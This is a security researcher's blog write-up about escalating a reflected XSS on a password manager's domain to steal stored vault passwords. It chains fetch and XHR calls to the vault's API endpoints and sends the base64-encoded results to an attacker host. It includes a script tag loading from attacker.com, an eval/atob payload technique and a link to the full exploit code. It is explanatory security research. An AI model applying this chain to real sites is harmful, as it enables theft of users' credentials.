• Twitter
  • Facebook
  • Youtube

Wednesday, August 22, 2018

The dark side of XSS and hacking into Password Vault

Greetings everyone, been a long time since my last Write-up. Today, I want to share something really interesting with you guys. You guys might have used many kinds of Passwords Vaults/Managers that helps you store passwords of different kinds of websites such as Facebook, Gmail and other accounts. So, the vault should be protected enough to secure your data right?

The Scenario

In the scenario that I experienced was having the same functionality, but in addition to account owns passwords, it was also having passwords of company employees. The interesting thing is I was able to hack into the Password Vault that stores user passwords by exploiting a Cross-Site Scripting vulnerability that I found in the same domain.

So, whenever I test an application the first thing is that I identify what kind of company am I targeting. In this case this was the Password Manager, so as you all know it is a vault that stores passwords. The "Passwords" are the sensitive data that it (tries to) protect. Capturing and retrieving those passwords was my initial goal.

2 records added to Password Vault containing account passwords

The flow of application

In order to understand how the application is working, we need to understand its functionality and its flow. We need to understand how data is retrieved and from where is it retrieved. 

After carefully observing the application and going through each and every request I found that the application was retrieving different information from the API that was located at /api/ of the application. 

After a bit of crawling and spidering through the application I found some API endpoints:

API Endpoints to look into

As the application was fully interacting with the APIs, I understood the flow as each endpoint was returning some value and information such as record ID, session token and other things. Let me explain some of the APIs that i though might help in achieving my goal.

The records/all endpoint

An endpoint that was located at /api/v3/records/all and it was accepting a GET request. Once a GET request is sent while being authenticated, it returns JSON objects having record ids and other information related to available records.

JSON response from /api/v3/records/all

The passwords/record endpoint

This endpoint was basically located at /api/v1/passwords/record . After the record IDs were retrieved from the record/all endpoint, this endpoint is used to retrieve passwords and full information from those specific record IDs.

In our case we got the following record IDs:

  • 526882 - ID for "Facebook Account" record
  • 526883 - ID for "Google Email" record

If a user clicks on the "Facebook Account" record, a POST request to /api/v1/passwords/record will be sent using the following JSON data having the record ID 526882:
Record ID being sent to API for retrieving full record information
and this will return the following information for the specified ID:
Full information of specified Record ID returned by the endpoint leaking Password & Usernames.
Now we know how IDs are being retrieved and how their data is returned but the issue is the application sends a CSRF token with every POST request that is sent to the API. A "token" should be present in the request in order to validate the session of the user.

The session/token endpoint

So in order to find out how that token was made. I looked up other endpoints to see if there was anything informative and I found that the API endpoint located at /api/v1/session/token was responsible for the generation of CSRF tokens. 

Making a GET request to the endpoint returns the following response:
Session/CSRF token returned by API endpoint

Loading the Weapon 

Now that we came to know about the flow of the application and the endpoints that are being used for exchange of data. We need to somehow obtain information from the following endpoints:
  • Session Token from /api/v1/passwords/record
  • Record IDs from /api/v3/records/all
  • Record Information from /api/v1/passwords/record

In order to obtain information from the endpoints, a simple trick would be exploiting some misconfigured CORS but the application doesn't seems to be using it for resource sharing.

The other possibility was to find XSS vulnerability somewhere on the same domain in order to get rid of Same-Origin Policy(SOP). Else all of our XHR calls will be vanished and rejected due to violation of SOP.

So, after a while I was successfully able to get XSS at an email activation page where user supplied email was reflecting back improperly.

So let me give the world's most common demonstration of an XSS:
A popup without actual demonstration of risk

Alright, we just got ammo for our weapon. Now no need to worry about the SOP and we can easily make XHR calls in order to communicate with the APIs in the same way the application did.

Replicating the application flow

Now that we have all the things required, we have to replicate the application flow. In order to make an XSS exploit that replicates the application flow and grabs all the information needed we need to make sure it proceeds in the same way.

First, we will use the javascript function fetch() in order to make a GET request to /api/v3/records/all in order to obtain all the record IDs:
Using fetch() to retrieve record IDs from the API

after the records are grabbed the next thing is to get the session token in order to make POST requests. I also converted the response of records to JSON and called the value of record ID directly from the JSON object. A fetch() was used for sending a GET request for capturing the token and retrieving its value from the JSON object:

A fetch() being used for retrieving session_token as seen on line #20

Now we got the "session_token" & the "record IDs". Now all we have to do is to is to send a POST request having the "record ID" to /api/v1/passwords/record. I'll use the XHR to send a POST request with a specified record ID. I will loop through the record IDs so each record information will be retrieved one by one:

As you can see from line #30-34, XHR is being configured with proper details. On the line #45 the values are placed in a proper form {"id":record_ID_here,"is_organization:false} and the request is made afterwards.

Once the request is made, the response will be parsed and values will be grabbed such as Title, URL, Username, Password from the response. The values will be then added to a dummy variable "data_chunks" for final processing.

Storing data chunks to a dummy variable

After the dummy variable is filled with collected data, it will be converted to base64 to avoid conflicts of bad characters and will be sent to attacker's host.

Sending collected data as base64

Note: There are many other methods to properly send the grabbed data but in order to demonstrate i'm using a simple way such as directly sending the base64 encoded data. Sending data via POST to a specific file would also be an exciting option.

Aiming & Shooting the target

Now that our exploit is completed, we have to inject it into the vulnerable area of XSS.  There are 2 simply tricks that can be used when exploiting an XSS.

  • Hosting your javascript exploit on external host ( You might have to set up CORS in order to make it accessible )
  • Including the payload directly with eval and atob
For the first technique, the external JS needs to be loaded via newly injected <script src="http://attacker.com/path_to_exploit.js"></script>. This method is efficient when handling large exploit code and for some extra anonymity ( Exploit code won't be logged in server )

The second method is quick and can be used for handling short payloads. I'll be using the following payload:

Base payload to use

now simply replace atob()'s value with our base64 encoded source code will do the trick. First our payload will be base64 decoded by atob and then it will be executed using eval().

So here is the final payload:
Final payload ready for execution

Note that some people will say its a kind of large payload, obviously it is but still we can just load the .js from external Host but in order to avoid setting up CORS, I'm using this technique.

Now i'll just host a exploit.html file having the following code:

HTML file for making a redirection to a larger URL

Now simply giving a URL for exploit.html, the attacker can make a user redirect form http://attacker.com/exploit.html to the page where large payload is injected.

As a result, we will get the data to our host that we configured for retrieving data:

Exploit successful! Vault information retrieved.

From the screenshot above, you can clearly see that the records stored in the Password Vault were finally retrieved and we successfully exploited and escalated the impact of an XSS vulnerability!

The purpose for this write-up was to clarify that:

XSS isn't just a popup, XSS vulnerability can lead to serious damage if properly exploited. Even if it's demonstrated via a harmless popup execution still it poses a risk.

If you guys love this write-up, Share! :)

Btw, I've uploaded my exploit-code here so you can review: https://gist.github.com/shawarkhanethicalhacker/e40a7c3956fdd24b9fb63d03d94c3d34

Want my services?

Get in touch with me